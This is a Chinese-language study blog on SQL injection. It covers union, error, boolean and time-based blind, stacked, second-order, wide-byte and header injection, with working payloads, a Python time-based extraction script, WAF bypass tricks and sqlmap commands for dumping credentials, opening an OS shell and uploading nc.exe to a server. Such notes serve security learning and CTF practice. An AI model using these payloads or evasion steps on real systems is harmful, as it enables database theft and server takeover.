WEB漏洞——SQL

1_Ry發表於2021-09-09

由於我的部落格是學到滲透的時候才做的,沒有關於WEB漏洞的筆記,現在發現WEB層面的漏洞有些不太熟悉了,邊寫一下筆記邊複習一下,就從sql注入開始吧

話不多說先上大佬寫的表[ctfhub]SQL隱碼攻擊 - h3zh1 - 部落格園 (cnblogs.com),基本常用的手工注入命令都在這

union select 聯合查詢,聯合注入常用
database() 回顯當前連線的資料庫
version() 檢視當前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把產生的同一分組中的值用,連線,形成一個字串
information_schema 存了很多mysql資訊的資料庫
information_schema.schemata information_schema庫的一個表,名為schemata
schema_name schemata表中儲存mysql所有資料庫名字的欄位
information_schema.tables 存了mysql所有的表
table_schema tables表中存每個表對應的資料庫名的欄位
table_name 表的名字和table_schema一一對應
information_schema.columns columns表存了所有的列的資訊4
column_name 當你知道一個表的名字時,可通過次欄位獲得表中的所有欄位名(列名)
table_name 表的名字和column_name一一對應
select updatexml(1,concat(0x7e,database(),0x7e),1); 這裡注意,只在databse()處改你想要的內容即可報錯回顯
right(str, num) 字串從右開始擷取num個字元
left(str,num) 同理:字串從左開始擷取num個字元
substr(str,N,M) 字串,從第N個字元開始,擷取M個字元

 

SQL隱碼攻擊原理

SQL隱碼攻擊漏同的產生需要滿足以下兩個條件

  • 引數使用者可控:前端傳給後端的引數內容是使用者可以控制的。
  • 引數帶入資料車查詢:傳入的引數拼接到SQL語句,且帶入資料車查詢

當傳入的D引數為and1=1時,執行的SQL語句。(#號表示註釋符)

select from users where id=1 and 1=1#

因為1=1為真,且 wherei語句中id=1也為真,所以頁面會返回與id=1相同的結果。當傳入的ID引數為and1=2時,由於1=2不成立,所以返回假,頁面就會返回與id=1不同的結果

通過這個簡短的語句可以初步判斷引數是否存在SQL隱碼攻擊漏洞,如果驗證有攻擊者可以進一步拼接SQL語句進行攻擊,致使資料庫洩露,甚至獲取伺服器許可權

  

Union注入攻擊

在判斷了注入點之後,使用order by判斷該資料表的欄位數量

例如輸入這個,回顯的與id=1相同結果

id=1 order by 4#

 但order by 5之後回顯了不同的結果,則說明欄位數為4

判斷完欄位數後使用union注入,判斷回顯欄位的位置

使用union注入要注意引數設定成-1,否則資料庫會優先查詢引數值,無法判斷回顯位置

id=-1 union select 1,2,3,4#

 接著在回顯的欄位上輸入攻擊的程式碼,例如2是回顯欄位位,輸入database()就能檢視資料庫

id=-1 union select 1,database(),3,4#

 假設得知資料庫名為sqli,得知資料庫庫名之後,查詢表名,group_concat函式把產生的同一分組中的值用,連線,形成一個字串

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli",3,4#

假設得知表名為flag,查詢欄位名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag",3,4#

 得知欄位名查欄位

id=-1 union select 1,group_concat(flag) from sqli.flag,3,4#

 這就是基本的union注入思路,但實戰情況下會有很多過濾防止攻擊者獲取資料庫的資訊  

  

報錯注入攻擊

報錯注入可以在判斷注入點之後,但是沒有回顯欄位,只會顯示錯誤資訊的情況下使用

關鍵的命令是select updatexml(1,concat(0x7e,database(),0x7e),1); 在database()處修改想要攻擊的語句

其中0x7e是ASCII編碼,意思是~,用於區分系統報錯和關鍵資訊

接下來的思路和union注入一樣,但要注意的點是需要使用right函式和left函式來查詢報錯回顯的欄位,因為通常報錯回顯的欄位數是有限的,而需要的資料庫資訊比較長 

right(str, num) 字串從右開始擷取num個字元
left(str,num) 同理:字串從左開始擷取num個字元

用法示例

-1 union select updatexml(1,concat(0x7e,right( 
(select(group_concat(schema_name))from information_schema.schemata)
,31 ),0x7e),1); #

  

Boolean注入攻擊

當頁面只顯示yes或no,而不返回資料庫中的任何資料,就使用Boolean注入攻擊

首先使用Lenth()函式判斷資料庫名的長度

id=1 and lenth(database())>=1#

 查詢資料庫名長度後,使用substr函式逐字獲取資料庫名,資料庫庫名的範圍一般在a~z、0~9之內,還可能有一些特殊字元

substr(str,N,M) 字串,從第N個字元開始,擷取M個字元

id=1 and substr(database(),1,1)='a'#

 但一般這種方式手工速度很慢效率很低,一般採用爆破的方式,可以使用bp進行爆破,用返回位元組長度判斷是否正確

爆出資料庫名之後後面的方法同理

 

時間注入攻擊

時間注入和Boolean注入差不多,不同之處是時間注入利用於什麼都不返回,連是否正確都不返回。

時間注入利用sleep函式讓MySQL執行時間變長從而判斷是否注入成功

判斷資料庫長度語句是

id=if(length(database())>1,sleep(5),1)

意思是如果資料庫名長度大於1,則暫停五秒後執行,否則直接執行

瞭解了時間盲注後就可以用開始的思路進行攻擊

id=if(substr(database(),1,1)='a',sleep(5),1)

但是時間盲注手工注入比Boolean注入還要慢,一般用python指令碼來實現爆破

貼上程式碼

import requests
import time

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
}
word1 = []
word2 = []
# url = input("url:")
# t = input("sleep:")

for i in range(65, 91):
    word1.append(chr(i))
for i in range(97, 123):
    word1.append(chr(i))
for i in range(48, 58):
    word1.append(chr(i))
word1.append('{')
word1.append('}')

for i in range(97, 123):
    word2.append(chr(i))
for i in range(48, 58):
    word2.append(chr(i))
word2.append('{')
word2.append('}')

for i in range(1, 40):
    for j in word2:
        url = "http://URL/?id=1 and if(substr((select flag from sqli.flag)," + str(i) + ",1)='" + str(j) + "',sleep(3),1)#"
        t1 = time.time()
        r = requests.get(url, headers) #傳送GET請求。 返回Response物件。
        t2 = time.time()
        if t2 - t1 > 3:
            print(j) 

 

堆疊注入攻擊

堆疊查詢可以執行多條語句,每條語句用分號隔開。堆疊注入和union注入的區別就是,堆疊注入可以執行任意語句,而union注入只限於查詢語句

例如可以向資料庫新增或刪除資料

id=1;insert into user(id,username,password)values('5','zhangsan','123456');#

  

二次注入攻擊

二次注入就是攻擊者將攻擊程式碼經過註冊或者其他方式儲存在資料庫,當資料庫再次呼叫這個攻擊程式碼時,才會被攻擊。

例如本身資料庫存在一個admin賬戶但是不知道其密碼,當我們註冊一個賬戶名為admin’#構造一個閉合,接著再去修改密碼,原資料庫的語句就為

Update user set password=’New password‘ where username=‘admin‘#’ and password=’password‘

由於admin存在#,後面的語句將無法執行,所以資料庫就將admin的密碼修改成我們剛剛修改的密碼

  

寬位元組注入攻擊

寬位元組注入一般適用於當閉合的時候被 ‘/’ 轉義,一般情況下此處是不存在SQL隱碼攻擊漏洞的。但是有一個情況例外就是當資料庫的編碼為GBK的時候。

’/‘的編碼為%5c,GBK而%df5c是繁體字連,所以可以在被轉義的字元前面加上%df逃逸

 

XFF注入攻擊

通過BurpSuite抓取資料包容,可以看到HTTP請求頭中有一個頭部引數X- Forwarded-for.X- Forwarded-For簡稱XF頭,它代表客戶端真實的IP,通過修改X- Forwarded-for的值可以偽造客戶端IP,將X- Forwarded-for設定為127.0.0.1,然後訪問URL,頁面返回正常

使用Union注入方法完成注入

X-forwarded-for: 127.0.0.1' union select 1,2,3,4#

  

SQL隱碼攻擊繞過技術

繞過的方法太多了,每種方法的應用的場景也不同,這裡不仔細講,將常見的方法列出來

  1. 大小寫繞過:常用於關鍵字過濾,由於mysql語句對大小寫沒要求,可以使用大小寫進行繞過
  2. 雙寫繞過:常用於關鍵字過濾,例如and被過濾,可以寫成anandd
  3. 編碼繞過:常用於關鍵字過濾,將被過濾的關鍵字使用URL編碼兩次,因為伺服器會自動解析一次
  4. 空格繞過:空格被過濾,使用/**/代替空格
  5. 內聯註釋繞過:常用於關鍵字過濾,使用/*! and*/將關鍵字and括起來繞過

在使用手工注入的時候可以將多種繞過方法組合在一起,成功的機率更大。

 

自動化工具sqlmap用法簡介

sqlmap是針對於sql注入漏洞的自動化工具

sqlmap -h檢視幫助

 

 

 

sqlmap基礎

GET傳參

讀取當前資料庫版本使用者

sqlmap -u http://URL/?id=1 –current-user –current-db

檢測是否存在注入點

sqlmap -u http://URL/?id=1

 拿庫名

sqlmap -u http://URL/?id=1 --dbs

 假設拿到庫名sqli,拿表名

sqlmap -u http://URL/?id=1 -D sqli --tables

假設拿到表名user,拿列名

sqlmap -u http://URL/?id=1 -D sqli -T user --columns

假設拿到列名user,password,拿欄位

sqlmap -u http://URL/?id=1 -D sqli -T user -C user,password --dump

POST傳參

當資料提交方式為post的時候,使用bp抓包,將文字儲存下來test.txt,(test.txt如果沒有放到sqlmap目錄就用絕對路徑)。

sqlmap -r test.txt -p id //-r引數開啟檔案,-p引數注入用的引數。

 剩下的操作就和GET方式無異

 

sqlmap進階

這裡主要講如果繞過WAF

  • --level=5:探測等級,1-5,預設為1,等級越高,payload越多,速度越慢。HTTP cookei在level為2時就會測試,HTTP User-Agent/Referer在level為3時就會測試。
  • --risk=RISK 執行測試的風險(0-3,預設為1) 
  • –threads    #採用多執行緒(–threads 3)
  • --referer“http://www.google.com”  //模擬來源,就是從哪個網頁跳轉過來的。如果不懂可以谷歌referer
  • --cookie=COOKIE:設定http請求的cookie,level2時,會嘗試cookie注入,eg:"PHPSESSID=aaaa"
  • --user-agent:修改http請求中的user-agent,通常修改為搜尋引擎的UA頭來模擬搜尋引擎,防止被封ip,也可以使用--random-agent引數,隨機的從user-agent.txt中獲取。(level 3時會嘗試對user-agent注入)

  • --proxy=PROXY:通過代理伺服器來連線目標url
  • --delay=times :延時注入,秒為單位,避免引起防火牆注意

當然最簡單粗暴的方法就是代理池繞過,去網上購買代理(也有免費的就是不好用),設定--porxy=代理ip,再每次請求的時候都更換一個ip,防火牆就不會檢測到

 

 

sqlmap高階

  • --id-dba:當前使用者是否為管理許可權
  • --roles:列出資料庫管理員角色,僅適用於當前資料庫是Oracle的時候
  • --referer=https://www.baid.com :sqlmap可以在請求中偽造HTTP中的referer,當–level引數設定為3或者3以上的時候會嘗試對referer注入
  • --sql-shell:執行自定義sql語句
  • --os-cmd,--os-shell:執行任意作業系統命令
  • --file-read "C:/example.exe":從資料庫伺服器中讀取檔案
  • sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上傳檔案到資料庫伺服器中

  

  

 

 

 

  

相關文章